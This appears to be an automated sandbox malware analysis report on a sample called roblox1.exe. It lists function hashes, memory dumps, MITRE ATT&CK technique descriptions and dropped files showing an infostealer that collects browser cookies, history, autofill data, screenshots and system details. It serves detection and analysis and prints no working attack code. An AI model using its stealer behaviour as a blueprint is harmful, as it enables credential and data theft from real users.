Instruction Fuzzy Hash: 35F036F5A07A42C1DA4EEF35D85017423A4EF44B96F544571CE2D86250CE2ED49A8320

Function 00007FFBAAF2B840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON310 ref: 00007FFBAAF2B872
PyErr_SetString.PYTHON310 ref: 00007FFBAAF2B890

Strings

__qualname__ must be set to a string object, xrefs: 00007FFBAAF2B886

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: DeallocErr_String
String ID: __qualname__ must be set to a string object
API String ID: 1259552197-2284195966
Opcode ID: 9329c64500ab0b39ddaa233be4cff1995aae19876241e79bceb2742aa797885e
Instruction ID: 792d0d914d578497b6eb2266a5762c5faf630150ef29098290b70d2d4f456a1b
Opcode Fuzzy Hash: 9329c64500ab0b39ddaa233be4cff1995aae19876241e79bceb2742aa797885e
Instruction Fuzzy Hash: F4F096F9A06A02C1DA0EAB35D8501B423A4FF54B99F544271CD2D82260CF2ED05B8321

Analysis Process: mshta.exePID: 2752, Parent PID: 3488COMMON

Executed Functions

Function 0000025C41CC0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000003.1664733778.0000025C41CC0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000025C41CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_25c41cc0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: 42f6405eb7c50f96d842e790e2d3132bfe546bcb42af2963d39aabe43a523067
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash: FD900208495A0759D41415950C5965C50406388151FE444C04456A0244F45D06E65156

Analysis Process: powershell.exePID: 4424, Parent PID: 2660COMMON

Executed Functions

Function 00007FFB49712CA9 Relevance: 1.1, Instructions: 1090COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.1902822187.00007FFB49710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_7ffb49710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3750f62cfbc664f03a496f9bb06090b02803ce91c25948379c15f9e82e7c00e
Instruction ID: 34d579d208efc5bc16c0312eca62031204b6ebeaabe84969eec901be8e3e3916
Opcode Fuzzy Hash: f3750f62cfbc664f03a496f9bb06090b02803ce91c25948379c15f9e82e7c00e
Instruction Fuzzy Hash: 64622AA2A0DB870FE75AAF38D8561B57BE1EF46250B0801FBD48DC7293DE199C05C396

Function 00007FFB497135BA Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.1902822187.00007FFB49710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_7ffb49710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4c3bd0d908d34e15e1a52b36bf76236446b7cf18717898dcbb7b8a9dbbece24
Instruction ID: 5e6c7c8de4d608f176069f5e57fd1f65554a26d46ac1680cd221edbdf95492fc
Opcode Fuzzy Hash: e4c3bd0d908d34e15e1a52b36bf76236446b7cf18717898dcbb7b8a9dbbece24
Instruction Fuzzy Hash: 05612AB2E1EA8B4FE7A9AE3C985657577D0EF95390B0801BAD48DC32D2DE19DC048345

Function 00007FFB4971308F Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.1902822187.00007FFB49710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_7ffb49710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29265085f1fda7df59c4b5d1760d724e433ebe53974b271fa66c8813aca79132
Instruction ID: 8341dc8fad5a2ef0ef020b6cecf4c197be6b05d4ad61d18a0b9b4aefd1f3a136
Opcode Fuzzy Hash: 29265085f1fda7df59c4b5d1760d724e433ebe53974b271fa66c8813aca79132
Instruction Fuzzy Hash: 664127E2E1EE470BF39DAE38865717866D2EF453A0B4801B9D4CDC32E6DF199C059349

Function 00007FFB4971364A Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.1902822187.00007FFB49710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_7ffb49710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c988a44e9495d3b38950a3434e0fc97ae0961602e1ded6cde6318fc410cb03c6
Instruction ID: 3fbe24cef4adf3496d82a8615982b8f4067375f99d54638f875195ddd44d45c6
Opcode Fuzzy Hash: c988a44e9495d3b38950a3434e0fc97ae0961602e1ded6cde6318fc410cb03c6
Instruction Fuzzy Hash: FF31E2E2E1EA838FF79DAF78899717866D0EF4529074801BAE4CDC32D2EE1D9C048345

Function 00007FFB49712D7F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.1902822187.00007FFB49710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_7ffb49710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f897ae35106259eb10fe843f16da3eece5370ab8139f305b5737ee7323dc2ac2
Instruction ID: 0c55c87171f52913c3ad46b7a3bcf45d6370d26538427c0cc92aaa9c90e2ca38
Opcode Fuzzy Hash: f897ae35106259eb10fe843f16da3eece5370ab8139f305b5737ee7323dc2ac2
Instruction Fuzzy Hash: 5B21D8B6A1CA470FE798EE28E9825B477D1FF88750B444275D14DC3386CE24AC4643C9

Function 00007FFB49644795 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.1901190571.00007FFB49640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_7ffb49640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef34e9812a99c34b771e7d9ff2f8b08d45973efefe44c61f27bbc15d5f97d4e
Instruction ID: 204f3fc9c871dbd3e14311b44d8454619dd6a022d0ef9b0a2d61f5a4a98f18da
Opcode Fuzzy Hash: 6ef34e9812a99c34b771e7d9ff2f8b08d45973efefe44c61f27bbc15d5f97d4e
Instruction Fuzzy Hash: 2A01A77010CB0C4FD748EF0CE451AA6B7E0FB85324F10056DE58AC3661D632E882CB45

Function 00007FFB49710296 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000038.00000002.1902822187.00007FFB49710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_56_2_7ffb49710000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb370e69879ef1b0368aab4a65e577fb668231c054e0d2786547765a8fcc8676
Instruction ID: f3853e276cbe895be2102f68fb25c6c844f59e5d0c29d30211ab23b49b205295
Opcode Fuzzy Hash: eb370e69879ef1b0368aab4a65e577fb668231c054e0d2786547765a8fcc8676
Instruction Fuzzy Hash: 6AE026A3F1E93E0BB3A2BD6C64072F4A2C0DF5867074801B3D84CC3692EE059C1003C6

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control ).
Tactics:	Collection, Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report roblox1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

C:\Users\user\AppData\Local\Temp\2axqsebb

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67.zip

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Cookies.txt

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Firefox\History.txt

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\network_info.txt

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\process_info.txt

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\screenshot.png

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\system_info.txt

C:\Users\user\AppData\Local\Temp\AutofillData.db

Windows Analysis Report
roblox1.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre